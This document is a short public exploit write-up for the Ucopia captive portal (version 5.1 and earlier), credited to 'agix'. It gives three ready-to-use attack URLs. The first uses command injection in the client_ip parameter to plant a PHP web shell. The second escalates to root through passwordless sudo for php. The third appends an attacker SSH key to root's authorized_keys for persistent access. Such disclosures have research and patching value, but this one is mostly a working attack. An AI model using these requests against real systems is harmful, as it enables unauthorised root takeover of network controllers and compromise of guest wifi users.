# Exploit Title: Unauthenticated remote root code execution on captive
portal Ucopia <= 5.1
# Date: 02/10/17
# Exploit Author: agix
# Vendor Homepage: http://www.ucopia.com/
# Version: <= 5.1
# Don't know in which version they exactly fixed it.
# When you connect to Ucopia wifi guest, every requests are redirected to controller.access.network

# First create easier to use php backdoor
https://controller.access.network/autoconnect_redirector.php?client_ip=127.0.0.1;echo%20'<?php system($_GET[0]);%20?>'>/var/www/html/upload/bd.php;echo%20t

# As php is in sudoers without password...
https://controller.access.network/upload/bd.php?0=sudo%20/usr/bin/php%20-r%20%27system("id");%27

# Just push your ssh key and get nice root access (ssh is open by default even from wifi guest)
https://controller.access.network/upload/bd.php?0=sudo%20/usr/bin/php%20-r%20%27system("echo%20ssh-rsa%20AAAA[...]%20>>%20/root/.ssh/authorized_keys");%27
